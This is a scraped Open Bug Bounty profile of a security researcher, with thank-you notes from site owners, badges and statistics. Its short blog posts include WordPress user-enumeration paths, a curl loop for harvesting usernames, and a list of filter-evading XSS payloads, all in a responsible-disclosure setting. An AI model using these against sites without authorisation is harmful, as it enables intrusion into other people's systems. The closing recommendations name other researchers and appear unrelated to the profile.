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MiguelSantareno | Security Researcher Profile

Security researcher MiguelSantareno has already helped fix 1012 vulnerabilities.

Researcher reputation:  230

Real name:
Miguel Santareno

About me:
Public work and profiles: author 9699

How to contact me:
[email protected]

Alternative Contacts:

Certifications & Diplomas:
MTA Security Essentials
ISO/IEC 27001

Experience in Application Security
1-3 years

Award / Bug Bounty I prefer:

Halls of Fame:
Oracle Bosch General Motors U.S. Dept Of Defense Alibaba CERT-EU Ford
IBM BMW trend micro randstad SAP Nokia SonicWall Siemens Philips, United Nations United Nations Woman Trend Micro Sony etc...

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Recommendations and Acknowledgements

@bmpbraga     16 March, 2020
    Twitter bmpbraga Bruno from Weasy:
Thanks to Miguel that reported a XSS vulnerability in one of our websites.
Excellent service.

The problem is now solved and tested.
Great help, Many thanks
@PaulMar23292621     20 January, 2020
    Twitter PaulMar23292621 Martin from A1 Telekom Austria:
Miguel showed us several information disclosure issues with our site. Thank you very much Miguel!
@uniteddomains     17 January, 2020
    Twitter uniteddomains Lubos from united-domains AG:
Miguel helped us to identify several bugs in our wordpress instances. His reports were sufficiently detailed and communication was flawless and fast. Thank you very much!
@NeneLand     2 January, 2020
    Twitter NeneLand Lorenzo Zotano from Giants Gaming:
Miguel found a important security issue in our webpage and send us very good information about solutions. Thanks a lot.
@FeroxHosting     30 December, 2019
    Twitter FeroxHosting Luc from Ferox Hosting:
Miguel found a issue in our wordpress site and was quick to report it. Thank you
@DragonSGA     17 July, 2018
    Twitter DragonSGA Stefan from Cadenas:
Miguel has found a XSS vulnerability in our search page. The example he gave helped to test our fix. Thank you!
@Lewisdh47     15 May, 2018
    Twitter Lewisdh47 Dave from Avis:
I would like to thank Miguel for identifying the security issue, providing all relevant information to enable a fix to be deployed and confirming the resolution. Incredibly useful to get his input on the issue and his very helpful steps to reproduce were appreciated. Very helpful and friendly.
@bubblegate     9 May, 2018
    Twitter bubblegate James Murrells from Bubblegate:
Identified an XSS vulnerability on our website and was very friendly and supportive! Many thanks.
@pmiguelr75     26 September, 2017
    Twitter pmiguelr75 Pedro Rodrigues from Bluesoft:
Identified an XSS vulnerability in one website and show us where is it.
After that made changes in code to solve it
All solved.
Great help, great support.
@thenrique     22 September, 2017
    Twitter thenrique Tulio from Spirit Fanfics:
dentified an XSS vulnerability in our website and provided all the details in order to solve it. Very friendly. Thanks

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Honor Badges

Number of Secured Websites

10+ Secured Websites Badge
50+ Secured Websites Badge
500+ Secured Websites Badge
Web Security Veteran Badge
10+ Websites
50+ Websites
500+ Websites
1000+ Websites

Advanced Security Research

WAF Bypasser Badge
CSRF Master Badge
AppSec Logic Master Badge
Fastest Fix Badge
WAF Bypasser
CSRF Master
30+ Reports
AppSec Logic Master
30+ Reports
Fastest Fix
Fix in 24 hours

Outstanding Achievements

Secured OBB Badge
OBB Advocate Badge
Improved OBB Badge
Secured OBB
OBB Advocate
Improved OBB

Commitment to Remediate and Patch

Patch Master Badge
Patch Guru Badge
Patch Lord Badge
Patch Master
55% Patched
Patch Guru
65% Patched
Patch Lord
75% Patched

Recommendations and Recognition

10+ Recommends
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Distinguished Blog Author

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1 Post
3 Posts
5+ Posts

Research Statistics

Total reports:1448
Total reports on VIP sites:97
Total patched vulnerabilities:1012
Total vulnerabilities on Hold (Open Bug Bounty):45
Recommendations received:19
Active since:20.06.2017

Open Bug Bounty Certificate

Researcher Certificate

05.09.2019  Wordpress basic auditing

Wordpress Read me

Wordpress License with wordpress version

Wordpress sample config:

Wordpress installation:

Wordpress upgrade file:

Wordpress setup config:

Wordpress Api usefull paths:
target/wp-json/wp/v2/users - enumerate users
target/wp-json/wp/v2/posts - enumerate posts
target/wp-json - wordpress api

Script to enumerate users thought authors of blog:
for i in {1..30}; do curl -s -L -i target | grep -E -o "\" title=\"View all posts by [a-z0-9A-Z-.]|Location:." | sed 's/\// /g' | cut -f 6 -d ' ' | grep -v "^$"; done

Wordpress Plugins readme or license:
target/wp-content/plugins/plugin name/readme.txt or /license.txt

Wordpress Theme readme or license:
target/wp-content/theme/nome-do-theme/readme.txt, /changeglog.txt or /license.txt

05.09.2019  Payloads for all type off web attacks

02.04.2019  Google Dorks to find open redirects:


02.04.2019  Cross Site Script angular payloads:

1.0.1 - 1.1.5

Mario Heiderich (Cure53)


1.2.0 - 1.2.1

Jan Horn (Google)


30.03.2019  List off basic Cross site script playloads

'"--!><img src=x onerror=alert("OPENBUGBOUNTY")> 
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<img  src="x:gif" onerror="window['al\u0065rt'](0)"></img>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert("OPENBUGBOUNTY")//>\x3exss.txt

'"><svg onload=prompt`openbugbounty`>
'"><svg onload=alert`openbugbounty`>
'"><svg onload=confirm`openbugbounty`>

Reported Vulnerabilities

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  Recent Recommendations

@smiteworks     15 January, 2021
    Twitter smiteworks:
Rajesh was very helpful in providing information and penetration testing on our site. With this information, we were able to harden our infrastructure.
@matrixrewriter     15 January, 2021
    Twitter matrixrewriter:
We had no idea that this vulnerability existed in many PHP-based websites and you kindly reported it to us. Thanks for your help and all the best for your career!
@JoseLev41970568     14 January, 2021
    Twitter JoseLev41970568:
Specialist in web application penetration tester, student and passionate about computer security and ethical hacking.
@far00t1     14 January, 2021
    Twitter far00t1:
i recommend jose luis for his work and enthusiasm in helping us with our technological infrastructure.
@lorenzoherrera     14 January, 2021
    Twitter lorenzoherrera:
Raajesh reported us a nasty vulnerability that totally slipped through our radars, we didn't even know that was possible! Thanks to him and his thorough report we've been able to solve it and now our site is more secure! Thank you for your time and effor, Rajeesh!